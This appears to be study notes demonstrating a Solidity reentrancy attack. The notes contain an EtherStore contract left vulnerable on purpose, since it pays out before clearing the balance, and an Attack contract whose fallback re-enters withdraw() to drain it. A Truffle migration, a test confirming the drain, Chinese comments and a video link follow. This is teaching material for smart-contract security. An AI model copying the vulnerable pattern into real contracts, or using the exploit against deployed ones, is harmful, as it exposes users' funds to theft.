pragma solidity >=0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
event Balance(uint);
function deposit() public payable {
balances[msg.sender] += msg.value;
emit Balance(balances[msg.sender]);
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// 回退函数,此外,每当合同接收没有数据的纯Ether时,会执行回退函数。此外,为了接收Ether,回退函数必须标记为payable。如果没有这样的函数,合约不能通过常规transactions接收Ether。
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1);
etherStore.deposit{value: 1}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
原理 https://www.bilibili.com/video/BV1dU4y1U78z/?spm_id_from=333.788
迁移文件
const etherStore = artifacts.require("EtherStore");
const attack = artifacts.require("Attack");
module.exports = async function (deployer, network, accounts) {
await deployer.deploy(etherStore);
const a = await etherStore.deployed();
await deployer.deploy(attack, a.address);
}
测试用例
const etherStore = artifacts.require("EtherStore");
const attack = artifacts.require("Attack");
contract('', async (accounts) => {
it('', async () => {
const etherStoreinstance = await etherStore.deployed();
await etherStoreinstance.deposit({ from: accounts[0], value: 1 })
await etherStoreinstance.deposit({ from: accounts[1], value: 1 });
const attackinstance = await attack.deployed();
await attackinstance.attack({ value: 1 });
const Balance = await attackinstance.getBalance();
assert.equal(Balance, 3);
const Balancee = await etherStoreinstance.getBalance();
assert.equal(Balancee, 0);
})
})